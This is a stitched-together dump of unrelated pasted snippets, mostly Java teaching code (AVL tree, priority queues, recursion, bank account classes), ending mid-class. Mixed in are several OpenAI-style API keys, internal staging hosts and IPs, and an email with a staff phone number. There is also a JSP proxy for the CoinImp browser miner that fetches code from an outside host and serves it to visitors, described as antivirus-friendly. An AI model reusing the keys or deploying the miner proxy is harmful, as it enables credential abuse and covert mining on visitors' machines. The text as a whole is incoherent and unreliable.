        The lambda expression in the call to forEach() provides the implementation of accept() method.

        */

        Stream<Integer> odds = al.stream().sorted().filter(n -> (n % 2) == 1);

        System.out.print("Odd values only: ");

        odds.forEach(n -> System.out.print(n + " "));

        System.out.println();

        /* 

        Predicate<T> is a generic functional interface defined in java.util.function

        and its abstract method is test(): boolean test(T obj)

        Returns true if object for test() satisfies the predicate and false otherwise.

        The lambda expression passed to the filter() implements this method.

        */

        odds = al.stream().sorted().filter(n -> (n % 2) == 1).filter(n -> n > 5);   // possible to chain the filters

        System.out.print("Odd values bigger than 5 only: ");

        odds.forEach(n -> System.out.print(n + " "));

        System.out.println();

    }

}
interface Refer{
    String m(String s);
}

class StringOperation{
    public String reverse(String s){
        String r = "";
        for(int i = s.length()-1;i>=0;i--)
            r+=s.charAt(i);
        return r;
    }
}

public class ReferDemo{
    public static String m(Refer r, String s){
        return r.m(s);
    }
    
    public static void main(String[] args){
        String s = "hello";
        System.out.println(m((new StringOperation()::reverse), s));
    }
}
import java.util.Scanner;

public class AVLTree<T extends Comparable<T>> {
    class Node {
        T value;
        Node left, right;
        int height = 0;
        int bf = 0;

        public Node(T ele) {
            this.value = ele;
            this.left = this.right = null;
        }
    }

    private Node root;

    public boolean contains(T ele) {
        if (ele == null) {
            return false;
        }
        return contains(root, ele);
    }
    private boolean contains(Node node, T ele) {
        if(node == null) return false;
        int cmp = ele.compareTo(node.value);
        if (cmp > 0)
            return contains(node.right, ele);
        else if (cmp < 0)
            return contains(node.left, ele);
        return true;
    }

    public boolean insert(T ele) {
        if (ele == null || contains(ele))
            return false;
        root = insert(root, ele);
        return true;
    }
    private Node insert(Node node, T ele) {
        if (node == null)
            return new Node(ele);
        int cmp = ele.compareTo(node.value);
        if (cmp < 0)
            node.left = insert(node.left, ele);
        else
            node.right = insert(node.right, ele);
        update(node);
        return balance(node);
    }

    public boolean delete(T ele) {
        if (ele == null || !contains(ele))
            return false;

        root = delete(root, ele);
        return true;
    }
    private Node delete(Node node, T ele) {
        int cmp = ele.compareTo(node.value);
        if (cmp > 0)
            node.right = delete(node.right, ele);
        else if (cmp < 0)
            node.left = delete(node.left, ele);
        else {
            if (node.right == null)
                return node.left;
            else if (node.left == null)
                return node.right;
            if (node.left.height > node.right.height) {
                T successor = findMax(node.left);
                node.value = successor;
                node.left = delete(node.left, successor);
            } else {
                T successor = findMin(node.right);
                node.value = successor;
                node.right = delete(node.right, successor);
            }
        }
        update(node);
        return balance(node);
    }

    private T findMax(Node node) {
        while (node.right != null) {
            node = node.right;
        }
        return node.value;
    }
    private T findMin(Node node) {
        while (node.left != null) {
            node = node.left;
        }
        return node.value;
    }

    private void update(Node node) {
        int leftSubTreeHeight = (node.left == null) ? -1 : node.left.height;
        int rightSubTreeHeight = (node.right == null) ? -1 : node.right.height;

        node.height = 1 + Math.max(leftSubTreeHeight, rightSubTreeHeight);
        node.bf = leftSubTreeHeight - rightSubTreeHeight;
    }

    private Node balance(Node node) {
        if (node.bf == 2) {
            if (node.left.bf >= 0) {
                return leftLeftRotation(node);
            } else {
                return leftRightRotation(node);
            }
        } else if (node.bf == -2) {
            if (node.right.bf >= 0) {
                return rightLeftRotation(node);
            } else {
                return rightRightRotation(node);
            }
        }
        return node;
    }

    private Node leftLeftRotation(Node node) {
        Node newParent = node.left;
        node.left = newParent.right;
        newParent.right = node;
        update(node);
        update(newParent);
        return newParent;
    }
    private Node rightRightRotation(Node node) {
        Node newParent = node.right;
        node.right = newParent.left;
        newParent.left = node;
        update(node);
        update(newParent);
        return newParent;
    }
    private Node leftRightRotation(Node node) {
        node.left = rightRightRotation(node.left);
        return leftLeftRotation(node);
    }
    private Node rightLeftRotation(Node node) {
        node.right = leftLeftRotation(node.right);
        return rightRightRotation(node);
    }

    public void inorder() {
        if (root == null)
            return;
        inorder(root);
        System.out.println();
    }
    private void inorder(Node node) {
        if(node == null) return;
        inorder(node.left);
        System.out.print(node.value + " ");
        inorder(node.right);
    }
    
    public void preorder() {
        if (root == null)
        return;
        preorder(root);
        System.out.println();
    }
    private void preorder(Node node) {
        if(node == null) return;
        System.out.print(node.value + " ");
        preorder(node.left);
        preorder(node.right);
    }
    
    public void postorder() {
        if (root == null)
        return;
        postorder(root);
        System.out.println();
    }
    private void postorder(Node node) {
        if(node == null) return;
        postorder(node.left);
        postorder(node.right);
        System.out.print(node.value + " ");
    }

    public static void main(String[] args) {
        Scanner sc = new Scanner(System.in);
        AVLTree<Integer> avl = new AVLTree<>();
        int ch;
        do {
            System.out.println("1. Insert a value");
            System.out.println("2. Delete a value");
            System.out.println("3. Display");
            System.out.println("4. Exit");
            System.out.print("Enter choice: ");
            ch = sc.nextInt();
            switch (ch) {
                case 1:
                    System.out.print("Enter value: ");
                    int ele = sc.nextInt();
                    if(!avl.insert(ele)) {
                        System.out.println("Invalid input");
                    }
                    break;
                case 2:
                    System.out.print("Enter value: ");
                    if(!avl.delete(sc.nextInt())) {
                        System.out.println("Invalid input");
                    }
                    break;
                case 3:
                    avl.preorder();
                    break;
                case 4:
                    System.exit(0);
                    break;
            
                default:
                    break;
            }
        } while(ch != 4);
        sc.close();
    }
}
//PriorityQueue using ArrayList

import java.util.*;

public class PriorityQueueDemo<K extends Comparable<K>, V>{
    static class Entry<K extends Comparable<K>, V>{
        private K key;
        private V value;
        
        public Entry(K key, V value){
            this.key = key;
            this.value = value;
        }
        
        public K getKey(){
            return this.key;
        }
        
        public V getValue(){
            return this.value;
        }
        
        
    }
    
    private ArrayList<Entry<K,V>> list = new ArrayList<>();
    
    public void insert(K key, V value){
        Entry<K,V> entry = new Entry<>(key,value);
        int insertIndex = 0;
        for(int i=0;i<list.size();i++){
            if(list.get(i).getKey().compareTo(key)>0)
                break;
            insertIndex++;
        }
        list.add(insertIndex, entry);
    }
    
    public K getMinKey(){
        return list.get(0).getKey();
    }
    
    public V getMinValue(){
        return list.get(0).getValue();
    }
    
     public static void main(String[] args){
        PriorityQueueDemo<Integer, String> p = new PriorityQueueDemo<>();
        p.insert(5,"hello");
        p.insert(2,"java");
        p.insert(1, "programming");
        p.insert(3, "welcome");
        
        System.out.println("Minimum Key: "+p.getMinKey());
        System.out.println("Minimum Value: "+p.getMinValue());
    }
}
//Priority Queue using TreeMap

import java.util.*;
public class PriorityQueueDemo<K, V>{
    private TreeMap<K, V> tm;
    
    public PriorityQueueDemo(){
        tm = new TreeMap();
    }
    
    public void insert(K key, V value){
        tm.put(key, value);
    }
    
    
    public K getMinKey(){
        return tm.firstEntry().getKey();
    }
    
    public V getMinValue(){
        return tm.firstEntry().getValue();
    }
    
    public static void main(String[] args){
        PriorityQueueDemo<Integer, String> p = new PriorityQueueDemo<>();
        p.insert(5,"hello");
        p.insert(2,"java");
        p.insert(1, "programming");
        p.insert(3, "welcome");
        
        System.out.println("Minimum Key: "+p.getMinKey());
        System.out.println("Minimum Value: "+p.getMinValue());
    }
}
import android.webkit.CookieManager;
import android.webkit.WebView;

public class MainActivity extends AppCompatActivity {
  private WebView webView;

  @Override
  protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.activity_main);
    webView = findViewById(R.id.webview);

    // Let the web view accept third-party cookies.
    CookieManager.getInstance().setAcceptThirdPartyCookies(webView, true);
    // Let the web view use JavaScript.
    webView.getSettings().setJavaScriptEnabled(true);
    // Let the web view access local storage.
    webView.getSettings().setDomStorageEnabled(true);
    // Let HTML videos play automatically.
    webView.getSettings().setMediaPlaybackRequiresUserGesture(false);
  }
}
CookieManager.getInstance().setAcceptThirdPartyCookies(webView, true);
import java.util.Scanner;

public class AVLTree<T extends Comparable<T>> {
    class Node {
        T value;
        Node left, right;
        int height = 0;
        int bf = 0;

        public Node(T ele) {
            this.value = ele;
            this.left = this.right = null;
        }
    }

    private Node root;

    public boolean contains(T ele) {
        if (ele == null) {
            return false;
        }
        return contains(root, ele);
    }
    private boolean contains(Node node, T ele) {
        if(node == null) return false;
        int cmp = ele.compareTo(node.value);
        if (cmp > 0)
            return contains(node.right, ele);
        else if (cmp < 0)
            return contains(node.left, ele);
        return true;
    }

    public boolean insert(T ele) {
        if (ele == null || contains(ele))
            return false;
        root = insert(root, ele);
        return true;
    }
    private Node insert(Node node, T ele) {
        if (node == null)
            return new Node(ele);
        int cmp = ele.compareTo(node.value);
        if (cmp < 0)
            node.left = insert(node.left, ele);
        else
            node.right = insert(node.right, ele);
        update(node);
        return balance(node);
    }

    public boolean delete(T ele) {
        if (ele == null || !contains(ele))
            return false;

        root = delete(root, ele);
        return true;
    }
    private Node delete(Node node, T ele) {
        int cmp = ele.compareTo(node.value);
        if (cmp > 0)
            node.right = delete(node.right, ele);
        else if (cmp < 0)
            node.left = delete(node.left, ele);
        else {
            if (node.right == null)
                return node.left;
            else if (node.left == null)
                return node.right;
            if (node.left.height > node.right.height) {
                T successor = findMax(node.left);
                node.value = successor;
                node.left = delete(node.left, successor);
            } else {
                T successor = findMin(node.right);
                node.value = successor;
                node.right = delete(node.right, successor);
            }
        }
        update(node);
        return balance(node);
    }

    private T findMax(Node node) {
        while (node.right != null) {
            node = node.right;
        }
        return node.value;
    }
    private T findMin(Node node) {
        while (node.left != null) {
            node = node.left;
        }
        return node.value;
    }

    private void update(Node node) {
        int leftSubTreeHeight = (node.left == null) ? -1 : node.left.height;
        int rightSubTreeHeight = (node.right == null) ? -1 : node.right.height;

        node.height = 1 + Math.max(leftSubTreeHeight, rightSubTreeHeight);
        node.bf = leftSubTreeHeight - rightSubTreeHeight;
    }

    private Node balance(Node node) {
        if (node.bf == 2) {
            if (node.left.bf >= 0) {
                return leftLeftRotation(node);
            } else {
                return leftRightRotation(node);
            }
        } else if (node.bf == -2) {
            if (node.right.bf >= 0) {
                return rightLeftRotation(node);
            } else {
                return rightRightRotation(node);
            }
        }
        return node;
    }

    private Node leftLeftRotation(Node node) {
        Node newParent = node.left;
        node.left = newParent.right;
        newParent.right = node;
        update(node);
        update(newParent);
        return newParent;
    }
    private Node rightRightRotation(Node node) {
        Node newParent = node.right;
        node.right = newParent.left;
        newParent.left = node;
        update(node);
        update(newParent);
        return newParent;
    }
    private Node leftRightRotation(Node node) {
        node.left = rightRightRotation(node.left);
        return leftLeftRotation(node);
    }
    private Node rightLeftRotation(Node node) {
        node.right = leftLeftRotation(node.right);
        return rightRightRotation(node);
    }

    public void inorder() {
        if (root == null)
            return;
        inorder(root);
        System.out.println();
    }
    private void inorder(Node node) {
        if(node == null) return;
        inorder(node.left);
        System.out.print(node.value + " ");
        inorder(node.right);
    }
    
    public void preorder() {
        if (root == null)
        return;
        preorder(root);
        System.out.println();
    }
    private void preorder(Node node) {
        if(node == null) return;
        System.out.print(node.value + " ");
        preorder(node.left);
        preorder(node.right);
    }
    
    public void postorder() {
        if (root == null)
        return;
        postorder(root);
        System.out.println();
    }
    private void postorder(Node node) {
        if(node == null) return;
        postorder(node.left);
        postorder(node.right);
        System.out.print(node.value + " ");
    }

    public static void main(String[] args) {
        Scanner sc = new Scanner(System.in);
        AVLTree<Integer> avl = new AVLTree<>();
        int ch;
        do {
            System.out.println("1. Insert a value");
            System.out.println("2. Delete a value");
            System.out.println("3. Display");
            System.out.println("4. Exit");
            System.out.print("Enter choice: ");
            ch = sc.nextInt();
            switch (ch) {
                case 1:
                    System.out.print("Enter value: ");
                    int ele = sc.nextInt();
                    if(!avl.insert(ele)) {
                        System.out.println("Invalid input");
                    }
                    break;
                case 2:
                    System.out.print("Enter value: ");
                    if(!avl.delete(sc.nextInt())) {
                        System.out.println("Invalid input");
                    }
                    break;
                case 3:
                    avl.preorder();
                    break;
                case 4:
                    System.exit(0);
                    break;
            
                default:
                    break;
            }
        } while(ch != 4);
        sc.close();
    }
}
http://chatbotscriptmanage.dev.com/login

10.240.144.197 staging.chatbot-public.cyberbot.vn
10.240.144.197 staging.chatbot-private.cyberbot.vn
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

sk-proj-FrAcuJSTxPSFr9DNpCc6T3BlbkFJxsg70pKZaJdlDMscfBhL


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

sk-proj-cwkoOcKTTpuwjPgVbU9AT3BlbkFJ4o2iDTsWWLckZhIkX1Zt

https://go.microsoft.com/fwlink/?linkid=2213926

curl https://YOUR_RESOURCE_NAME.openai.azure.com/openai/deployments/YOUR_DEPLOYMENT_NAME/extensions/chat/completions?api-version=2023-12-01-preview \
  -H "Content-Type: application/json" \
  -H "api-key: YOUR_API_KEY" \
  -d '{"enhancements":{"ocr":{"enabled":true},"grounding":{"enabled":true}},"dataSources":[{"type":"AzureComputerVision","parameters":{"endpoint":" <Computer Vision Resource Endpoint> ","key":"<Computer Vision Resource Key>"}}],"messages":[{"role":"system","content":"You are a helpful assistant."},{"role":"user","content":[{"type":"text","text":"Describe this picture:"},{"type":"image_url","image_url":"https://learn.microsoft.com/azure/ai-services/computer-vision/media/quickstarts/presentation.png"}]}]}'
Anh gửi thông tin về Chatbot đối tác SMAX đang tích hợp trên fanpage
Viettel Money, cụ thể:

1. Thông tin tích hợp



2. Luồng tích hợp



3. Kịch bản test

- Truy cập đường dẫn:
https://miro.com/app/board/uXjVKLcwGxU=/?fbclid=IwZXh0bgNhZW0CMTAAAR0KSvvl8T
KF5FlWmIZhGbTqrmvBd_Ff0fUzzcOK7JIiP-GqqvaV5x7qv08_aem_ARrV9Ba0Zsj8FWU5bPDRQK
w8_8hKtH0x_NTigEusc8UGGg4kPDGLI6tmY9wfQeD6-0Te36JRXDm4AGuxiT3hEJTS

- Hướng dẫn test:

1. Người dùng bình luận tại bài viết theo đường dẫn
https://www.facebook.com/ViettelMoney/posts/pfbid0PjCVf1DL1A74j24ECkeMrekYJF
M3bXGqirFkqDV54esJy4Vvtbm4HsCNXw7NuXZYl

2. Chatbot gửi tin nhắn từ bình luận, người dùng tương tác theo luồng
tương ứng trên messenger

(ví dụ 1 luồng khai thác số điện thoại tại ảnh đính kèm)



Trân trọng!

------------------------

Dương Đức Anh

P. QLCL &amp; CSKH – TCT VDS

SĐT: 0964052947
<p>TopHomeworkHelper.com offers comprehensive programming help for students, covering various programming languages like Java, Python, C++, and more. Services include assignment help, coding assistance, and debugging support. With 24/7 availability and experienced tutors, the platform ensures timely and reliable solutions for all programming-related academic needs.<br /><br />Source:&nbsp;<a href="https://tophomeworkhelper.com/programming-help.html" target="_blank" rel="noopener">Programming Homework Help</a></p>
<p>&nbsp;</p>
<%@page autoFlush="false" session="false"%><%@page import = "java.net.*,java.io.*,java.util.*" %><%
/*
 
This is a generic caching proxy built for use with Java hosted sites (Caucho, Resin, Tomcat, etc.). This was 
originally built for use with CoinImp.com JavaScript miner. However, the AV friendly code supplied by CoinImp 
is PHP only.  You may place this .jsp file on your server instead of using the CoinImp PHP file. Here is an 
example of how to call the JSP proxy code from your JavaScript client. Note, substitute the correct Client ID 
which you can obtain from the CoinImp portal. Also, set the throttle as you need it.
 
<script src="/coinproxy.jsp?f=1Ri3.js"></script>
<script>
    var _client = new Client.Anonymous('YOUR KEY GOES HERE', {
        throttle: 0.7
    });     
    _client.start();
            
</script>   
 
// Hopefully you find this useful. No guarantees or warranties are made. Use at your own risk. This code is released to the public domain.
 
If you find this code useful, I would gladly accept Monero or donations to Coinbase Commerce:
 
MONERO ADDRESS: 424g2dLQiUzK9x28KLpi2fAuTVSAUrz1KM49MvmMdmJZXF3CDHedQhtDRanQ8p6zEtd1BjSXCAopc4tAxG5uLQ8pBMQY54m
COINBASE ADDRESS: https://commerce.coinbase.com/checkout/dd0e7d0d-73a9-43a6-bbf2-4d33515aef49
 
Thanks
*/
 
try {
        response.setHeader("Access-Control-Allow-Origin", "*");
        response.setCharacterEncoding("UTF-8");
        String filename=request.getParameter("f");
        if(filename.contains(".js")) { response.setContentType("application/javascript; charset=utf-8");
        } else { response.setContentType("application/octet-stream; charset=utf-8");
        }
        String host = java.net.URLEncoder.encode(request.getRequestURL().toString(),"UTF-8").replace("+","%20");
        String reqUrl = "http://www.wasm.stream?filename="+java.net.URLEncoder.encode(filename,"UTF-8").replace("+","%20")+"&host="+host;
        File f=new File("/tmp/"+filename);
 
        if(!f.exists() || (new Date().getTime() - f.lastModified())>60*60*1000) {
                // fetch code from server 
 
                URL url = new URL(reqUrl);
                HttpURLConnection uc = (HttpURLConnection) url.openConnection();
                InputStream in = uc.getInputStream();
 
                // save in /tmp
                FileOutputStream fo = new FileOutputStream(f);
 
                byte[] buffer = new byte[4096];
 
                int i=0;
                int count;
 
                while ((count = in.read(buffer)) != -1) {
                        i+=count;
                  fo.write(buffer,0,count);
                }
                fo.flush();
                fo.close();
                in.close();
        }
 
        // now open file and stream as response
 
        FileInputStream fi=new FileInputStream(f);
        OutputStream output = response.getOutputStream();
 
        response.setContentLength((int)(f.length()));
 
        // read cached copy
        System.out.println("File length: "+String.valueOf(f.length()));
 
        byte[] buffer = new byte[4096];
 
        int i=0;
        int count;
 
        while((count = fi.read(buffer)) != -1) {
                i+=count;
                output.write(buffer,0,count);
        }
        fi.close();
 
} catch (Exception e) {
e.printStackTrace();
}
%>
Nomes de classes devem começar com letra maiúscula e usar a convenção PascalCase (também conhecida como Upper CamelCase).
Exemplo: MinhaClasse

Nomes de métodos devem começar com letra minúscula e usar a convenção camelCase.
Exemplo: meuMetodo()

Nomes de constantes devem ser totalmente em letras maiúsculas, separadas por underline.
Exemplo: MINHA_CONSTANTE

Nomes de variáveis devem começar com letra minúscula e usar a convenção camelCase.
Exemplo: minhaVariavel

Todas as linhas de código devem ter no máximo 80 caracteres de largura para facilitar a leitura.

Recomenda-se usar espaços em branco para separar operadores, palavras-chave e elementos de controle de fluxo.
Exemplo: if (condicao) {
 Node reverseList(Node head)
    {
        if(head == null || head.next == null)
            return head;
        Node p = reverseList(head.next);
        head.next.next = head;
        head.next = null;
        return p;
    }
import java.util.*;
import java.lang.*;
import java.io.*;

class Codechef
{
    public static String findBinary(int num, String result) {
        if(num == 0)
            return result;
        
        result = num % 2 + result;
        return findBinary(num / 2, result);
    } 
	public static void main (String[] args) throws java.lang.Exception
	{
		System.out.println(findBinary(12, ""));

	}
}
import java.util.*;
import java.lang.*;
import java.io.*;

class Codechef
{
    public static boolean isPalindrome(String str) {
        if(str.length() == 0 || str.length() == 1)
            return true;
        
        if(str.charAt(0) == str.charAt(str.length() - 1))
            return isPalindrome(str.substring(1, str.length() - 1));
        
        return false;
        
    }
	public static void main (String[] args) throws java.lang.Exception
	{
		System.out.println(isPalindrome("abcba"));

	}
}
import java.util.*;
import java.lang.*;
import java.io.*;

class Codechef
{
    public static String reverse(String input) {
        if(input.equals(""))
            return "";
        return reverse(input.substring(1)) + input.charAt(0);
    }
	public static void main (String[] args) throws java.lang.Exception
	{
	    
	   System.out.println(reverse("hello"));
	}
}
import java.util.*;
import java.lang.*;
import java.io.*;

class Codechef
{
    public static int recursiveSum(int num) {
        if(num <= 1)
            return num;
        
        return num + recursiveSum(num - 1);
        
    }
	public static void main (String[] args) throws java.lang.Exception
	{
		System.out.println(recursiveSum(10));

	}
}


// -----------------------------------------------------------
$A.get("e.force:navigateToURL").setParams(
    {"url": "/apex/pageName?id=00141000004jkU0AAI"}).fire();
$A.get("e.force:navigateToURL").setParams({"url": "/apex/pageName"}).fire();
import java.util.*;
import java.lang.*;
import java.io.*;

class Codechef
{
    public static void mergeSort(int[] data, int start, int end) {
        if(start < end) {
            int mid = (start + end) / 2;
            mergeSort(data, start, mid);
            mergeSort(data, mid + 1, end);
            merge(data, start, mid, end);
        }
    }
    public static void merge(int[] data, int start, int mid, int end) {
        int[] temp = new int[end - start + 1];
        System.out.println(start +" "+ mid +" "+end);
        
        // i --> starting of left subarray, j--> starting of right subarray
        // mid --> Ending of left subarray, end--> Ending of right subarray
        // k--> pointer for temp array
        int i = start, j = mid + 1, k = 0;
        
        // Ist merge i.e both left and right subarrays have values 
        while(i <= mid && j <= end) {
            if(data[i] <= data[j]) 
                temp[k++] = data[i++];
            else    
                temp[k++] = data[j++];
        }
        
        // 2nd merge i.e run only when left subrray is remaining to be merged
        // and right subrray is done with merging
        while(i <= mid) {
            temp[k++] = data[i++];
        }
        
        // 2nd merge i.e run only when right subrray is remaining to be merged
        // and left subrray is done with merging
        while(j <= end) {
            temp[k++] = data[j++];
        }
        
        // putting back sorted values from temp into the original array
        for(i = start; i <= end; i++) {
            data[i] = temp[i - start];
        }
        
    }
	public static void main (String[] args) throws java.lang.Exception
	{
	    int data[] = {38, 27, 43, 3, 9, 82, 10};
		mergeSort(data, 0 , data.length - 1);
		for(int num : data) {
		    System.out.print(num +" ");
		}

	}
}
Employee.java

public class Employee {
    private String cnic;
    private String name;
    private double salary;

    public Employee() {
        System.out.println("No-argument constructor called");
    }

    public Employee(String cnic, String name) {
        setCnic(cnic);
        setName(name);
    }

    public Employee(String cnic, String name, double salary) {
        this(cnic,name);
        setSalary(salary);
    }

    public String getCnic() {
        return cnic;
    }

    public void setCnic(String cnic) {
        this.cnic = cnic;
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public double getSalary() {
        return salary;
    }

    public void setSalary(double salary) {
        this.salary = salary;
    }

    public void getEmployee(){
        System.out.println("CNIC: " + cnic);
        System.out.println("Name: " + name);
        System.out.println("Salary: " + salary);
    }
}

///////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////

EmployeeTest.java

public class EmployeeTest {
    public static void main(String[] args) {
        System.out.println();
        Employee employee1 = new Employee();
        Employee employee2 = new Employee("34104-1234567-9","Muhammad Abdul Rehman");
        Employee employee3 = new Employee("34104-9876543-2","Ahmad",100000);


        employee1.getEmployee();
        System.out.println("----------------");
        employee2.getEmployee();
        System.out.println("-----------------");
        employee3.getEmployee();
        System.out.println("-----------------");
    }

}

public boolean isPowerOfFour(int n) {
        // If a number is power of 2, It will have 1 bit at even position and if its a power of 4, 
        // which is not a power of 2 e.g. 128 it will have 1 bit at odd position.

        return (n >0) && ((n &(n-1)) ==0) && ((n & 0xaaaaaaaa) ==0);
        
    }
public String addBinary(String a, String b) {
       BigInteger num1 = new BigInteger(a,2);
       BigInteger num2 = new BigInteger(b,2);
       BigInteger zero = new BigInteger("0",2);
       BigInteger carry, answer;
       while(!num2.equals(zero)) {
        answer = num1.xor(num2);
        carry = num1.and(num2).shiftLeft(1);
        num1 = answer;
        num2 = carry;
       }
        return num1.toString(2);
    }
public char findTheDifference(String s, String t) {
        char ch =0;
        for(int i=0; i<s.length(); i++) {
            ch ^= s.charAt(i);
        }
        for(int i=0; i<t.length(); i++) {
            ch ^= t.charAt(i);
        }
        return ch;
    }
 if (num == 0) {
            return 1;
        }

        int bitCount = (int) Math.floor((int)(Math.log(num) / Math.log(2))) + 1;
        int allBitsSet = (1 << bitCount) - 1;
        return num ^ allBitsSet;
 // find number of 1 bits
        int n = 10; //101
        int count =0;
        // will repeatedly do and of number with(n-1), as this flips the LSB 1 bit
        while(n !=0) {
            count++;
            n &= (n-1);

        }
        System.out.println("count is " + count);
// creating a monotonic stack
        int[] arr = new int[]{1,2,6,3,5,9, 11,7,};
        Deque<Integer> stack = new LinkedList<>();
        for(int i=0; i<arr.length; i++) {
            while(!stack.isEmpty() && stack.peek()< arr[i]) {
                stack.pop();
            }
            stack.push(arr[i]);
        }
        System.out.println("stack is " + stack);
// converting binary to decimal
        int[] n = new int[]{1, 0, 0, 0, 0};
        int num = 0;
        for (int i = 0; i < n.length; i++)
        {
            num = (num<<1) | n[i];
        }
        System.out.println(num);
    
Circle.java

public class Circle{
	private double radius;
	
	public Circle(double radius){
		if(radius > 0){
			this.radius = radius;
		}
		else{
			System.out.println("Invalid radius value.Radius value must be greater than 0.");
		}
	}
	
	public double getRadius(){
		return radius;
	}
	
	public void setRadius(double radius){
		if(radius > 0){
			this.radius = radius;
		}
		else{
			System.out.println("Invalid radius value.Radius value must be greater than 0.");
		}
	}
	
	public double calculateArea(){
		return Math.PI * radius * radius;
	}
	
	public double calculatePerimeter(){
		return 2 * Math.PI * radius;
	}	
}

/////////////////////////////////////////////
////////////////////////////////////////////

TestCircle.java

public class TestCircle{
	
	public static void main(String args[]){
		
		Circle circle = new Circle(5);
		
		System.out.println("Radius: " + circle.getRadius());
		System.out.printf("Area: %.2f\n" , circle.calculateArea());
		System.out.printf("Perimeter: %.2f\n" , circle.calculatePerimeter());
		
		circle.setRadius(8);
		
		System.out.println("Updated Radius: " + circle.getRadius());
		System.out.printf("Updated Area: %.2f\n" , circle.calculateArea());
		System.out.printf("Updated Perimeter: %.2f\n" , circle.calculatePerimeter());
		
		circle.setRadius(-3);
		
		
	}
	
}
/*
 * This Java source file was generated by the Gradle 'init' task.
 */
package gradleproject2;

import java.io.IOException;
import org.apache.pdfbox.pdmodel.PDDocument;
import org.apache.pdfbox.pdmodel.PDPage;
import org.apache.pdfbox.pdmodel.PDPageContentStream;
import org.apache.pdfbox.pdmodel.font.PDType1Font;
import org.apache.pdfbox.pdmodel.font.Standard14Fonts;

public class App {

    public String getGreeting() {
        return "Hello World!";
    }

    public static void main(String[] args) throws IOException {
        // System.out.println(new App().getGreeting());

        //Creating PDF document object 
        PDDocument document = new PDDocument();

        for (int i = 0; i < 10; i++) {
            //Creating a blank page 
            PDPage blankPage = new PDPage();

            PDPageContentStream contentStream = new PDPageContentStream(document, blankPage);

            contentStream.setFont(new PDType1Font(Standard14Fonts.FontName.HELVETICA_BOLD), 12);

            // Add text to the page
            contentStream.beginText();

            contentStream.newLineAtOffset(100, 700);

            contentStream.showText("Hello World, how are you !");

            contentStream.endText();

            //Adding the blank page to the document
            document.addPage(blankPage);
            contentStream.close();
        }

        //Saving the document
        document.save("C:/Users/chachou/Desktop/test java/javageneratepdf.pdf");
        System.out.println("PDF created");
        
      
        //Closing the document
        document.close();
    }
}
BankAccount.java

import java.util.Scanner;

public class BankAccount {
    String name;
	private double balance;
	private int depositCount = 0;
	private int withdrawCount = 0;
	private String accountType;
	
	
	public void deposit(double amount){
		balance += amount;
		System.out.println(amount + " is successfully Deposited");
		depositCount++;
		if(balance > 100000){
			balance = balance + (amount / 100);
		}
	}
	public void setAccountType(String type){
		this.accountType = type;
	}
	
	public void withdraw(double amount){
		if(balance >= amount){
			if(balance - amount < 50000){
				System.out.println("Asre you sure you want to withdraw, it would make your balance below 50,000");
				System.out.println("Press 1 to continue and 0 to abort");
				Scanner input = new Scanner(System.in);
				int confirm = input.nextInt();
				if(confirm != 1){
					System.out.println("Withdrawal aborted");
					return;
				}
			}
			double withdrawAmount = amount;
			if(balance < 50000){
				withdrawAmount = withdrawAmount + amount * 0.02;
				withdrawCount++;
			}
			balance = balance - withdrawAmount;
			System.out.println(withdrawAmount + " is successfully withdrawn");
			
		}
		else{
			System.out.println("Insufficient funds");
		}
			
	}
	public double getBalance(){
		return balance;
	}
	
	public void subscribeSmsAlert(){
		if(accountType.equals("STANDARD")){
			balance -= 2000;
		}
	}
	
	public void subscribeDebitCard(){
		if(accountType.equals("STANDARD")){
			balance -= 5000;
		}
	}
	
	
	void transaction(){
		System.out.println("Account title: " + name);
		System.out.println("Total deposit: " + depositCount);
		System.out.println("Total withdraw: " + withdrawCount);
		System.out.println("Balance: " + balance);
	}
	
}

//////////////////////////////////////////////////////////////////////////////////////

//BankAccountTest.Java

import java.util.Scanner;

public class BankAccountTest{
	
	public static void main(String args[]){
		
		BankAccount account = new BankAccount();
		
		Scanner input = new Scanner(System.in);
		account.name = "Maan";
		
		System.out.println("Enter the account type: ");
		String accountType = input.nextLine();
		account.setAccountType(accountType);
		
		System.out.println("Do want to subscribe SMS alerts(Y or N): ");
		String sms = input.nextLine();
		if(sms.equals("Y") || sms.equals("y")){
			account.subscribeSmsAlert();
		}
		System.out.println("Do you want to subscribe Debit Card(Y or N): ");
		String debit = input.nextLine();
		
		if(debit.equals("Y") || debit.equals("y")){
			account.subscribeDebitCard();
		}
		
		int choice;
		
		do{
			System.out.println("Press 1: To Deposit an amount\nPress 2: To Withdraw an amount\nPress 3: To View the current balance\nPress 4: To Close the program");
		    choice = input.nextInt();
		
		    switch(choice){
			case 1:
			System.out.println("Enter the amount you want to Deposite");
			double depositeAmount = input.nextDouble(); 
			account.deposit(depositeAmount);
			break;
			case 2:
			System.out.println("Enter the amount you want to withdraw");
			double withdrawAmount = input.nextDouble();
			account.withdraw(withdrawAmount);
			break;
			case 3:
			System.out.println("Your current balance is " + account.getBalance());
			break;
			case 4:
			System.out.println("The program is terminated");
			account.transaction();
			break;
			default:
			System.out.println("Incorrect choice. Please try again!");
			break;
			
		
		}
		
	}while(choice!=4);
  }
	
}
 String paragraph = "bob ,,, %&*lonlaskhdfshkfhskfh,,@!~";
            String normalized = paragraph.replaceAll("[^a-zA-Z0-9]", " ");

// replacing multiple spaces with single space

 String normalized = paragraph.replaceAll("[ ]+", " ");
BankAccount.java

import java.util.Scanner;

public class BankAccount {
    String name;
	private double balance;
	private int depositCount = 0;
	private int withdrawCount = 0;
	
	public void deposit(double amount){
		balance += amount;
		System.out.println(amount + " is successfully Deposited");
		depositCount++;
		if(balance > 100000){
			balance = balance + (amount / 100);
		}
	}
	public void withdraw(double amount){
		if(balance >= amount){
			if(balance - amount < 50000){
				System.out.println("Asre you sure you want to withdraw, it would make your balance below 50,000");
				System.out.println("Press 1 to continue and 0 to abort");
				Scanner input = new Scanner(System.in);
				int confirm = input.nextInt();
				if(confirm != 1){
					System.out.println("Withdrawal aborted");
					return;
				}
			}
			double withdrawAmount = amount;
			if(balance < 50000){
				withdrawAmount = withdrawAmount + amount * 0.02;
				withdrawCount++;
			}
			balance = balance - withdrawAmount;
			System.out.println(withdrawAmount + " is successfully withdrawn");
			
		}
		else{
			System.out.println("Insufficient funds");
		}
			
	}
	public double getBalance(){
		return balance;
	}
	void transaction(){
		System.out.println("Account title: " + name);
		System.out.println("Total deposit: " + depositCount);
		System.out.println("Total withdraw: " + withdrawCount);
